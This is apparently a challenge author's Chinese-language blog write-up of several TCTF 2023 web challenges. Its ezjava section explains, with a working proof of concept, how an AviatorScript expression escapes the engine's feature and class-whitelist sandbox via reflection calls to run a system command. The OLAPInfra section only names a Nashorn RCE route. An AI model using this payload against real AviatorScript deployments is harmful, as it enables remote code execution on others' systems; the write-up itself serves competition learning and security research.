鸽了好久的22年TCTF线下赛总算补完了……不过脑细胞都用来出23年的线上赛了,不得不说web题越来越难出了,本次搞了半天弄了两题,加上zsx师傅的一题总共也就3道web,23线下的web还不知道在哪呢(笑)。

线上共计4个队伍AK web,BW因为没猜出谜迟了5分钟才解出最后一条(轻点打),不过还是拿了第一hh。

newdiary

这个其实是我们8月份Codegate的非预期,当时搞了半天觉得还蛮有意思的就拿来重用了。题都出完了没想到9月份竟然有国外另一个安全研究员发现了相似的技术,并且还公开了blog……这还是在几个小时被一血后找人问出来的,我就说一血不应该这么快的起码能撑到晚上。。果然藏题目藏出事了诶。

解法大概是一个比较巧妙的css泄漏nonce的方式,具体解析应该会单独写一篇,可以等我有时间了搞(。

ezjava

当时觉得web太少了就想拿一个之前研究的表达式引擎绕过出个题,验题的时候已经预感到要被打了,只能看脸皮厚度了hh。

AS表达式

本题核心是AviatorScript这个表达式引擎,其实21年郁离歌师傅已经提了一个CVE-2021-41862,主要原因就是表达式可以直接new出对象从而能够执行命令,后续官方添加了一些缓解措施对此进行防护。根据文档中的最佳实践,安全沙箱主要分为三个防护手段:语言特性、class白名单、反射调用。

  • 语言特性:可以开启和关闭表达式语言特性,例如 instance.setOption(Options.FEATURE_SET, Feature.asSet());
  • class白名单:控制可被调用的class白名单,例如 instance.setOption(Options.ALLOWED_CLASS_SET, new HashSet());
  • 反射调用:控制是否开启反射,例如 instance.setFunctionMissing(null);

默认情况下前两个没有任何防护,第三个在Scripting API模式下会默认打开。虽然有这么多防护手段,但是特性和class白名单其实非常容易绕过,只要开启了反射就能RCE了。PoC如下:

1
2
3
4
5
6
7
String name = "exec(invoke(getMethod(loadClass(getClassLoader(getClass(constantly(1))),'java.lang.Runtime'),'getRuntime',nil),nil,nil),'calc')";
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("AviatorScript");
AviatorEvaluatorInstance instance = ((AviatorScriptEngine) engine).getEngine();
instance.setOption(Options.FEATURE_SET, Feature.asSet());
instance.setOption(Options.ALLOWED_CLASS_SET, new HashSet());
System.out.println(engine.eval(name).toString());

本题关闭了一切语言特性,白名单不允许任何类。这样我们就不能利用new或者load等方式加载新对象了。同时也不允许赋值循环判断等一系列语言特性。

下面我们逐步来说明这个poc,首先在文档中指出:

aviator 4.2.5 引入了一个新的方式:基于反射的自动方法发现和调用。原来对象的 object.method(args) 调用方式,转化成 method(object, args) 就可以

那么在这里 getClassLoader(getClass(constantly(1))) 其实就相当于 constantly(1).getClass().getClassLoader(),从而获取到类加载器。为什么要用到 constantly(1) 呢,因为默认的类加载器是无法获取的,比如String类型:

1
2
3
4
"".getClass()
// class java.lang.String
"".getClass().getClassLoader()
// null

所以我们需要找一个非默认类来获取到类加载器,最简单的方式就是函数或者闭包:

1
2
3
4
5
6
7
fn func(x, y) {
return x + y;
}
let func2 = lambda (x,y) -> x + y end;

getClassLoader(getClass(func))
getClassLoader(getClass(func2))

不过很可惜,本题中关闭了函数和lambda特性,这么用是会报错的,因此需要找一个自带的外部类才行。翻了翻文档,在系统函数中竟然有个 constantly(x),作用正是返回一个函数。那么这样我们就能获得到classloader从而能够加载任意类了。最后就是比较常规的 loadClass -> getMethod -> invoke -> exec 执行命令。

其实本题可以不用函数实现,读者可以自己琢磨下。

curl ipfs

如果只有这个对于国际赛来说貌似太简单了,因此联想起之前看到的curl 8.4.0新增了内置ipfs的支持,就在前面套了层curl并ban掉除http外的协议和非本地host,为防止非预期直接通过disable编译选项实现。然后在题目描述里留了一个双关语作为提示,当然给出的是没有加粗的(题目背景是穹妹,也符合动画游戏的内容哈哈):

Finally, we build our new curl website! We are not afraid. We do not care others. We can live together even on another planet.

不过当谜语人的结果就是看到大家在疯狂fuzz,根本没有人看题目描述2333……

OLAPInfra

验的题,题目环境非常难搞,docker都build了半天。其实题目本身不算难,Nashorn rce + HDFS UDF,网上资料都有:

主要是写exp和传文件比较麻烦,需要写一个Hive client自己实现。解法参考github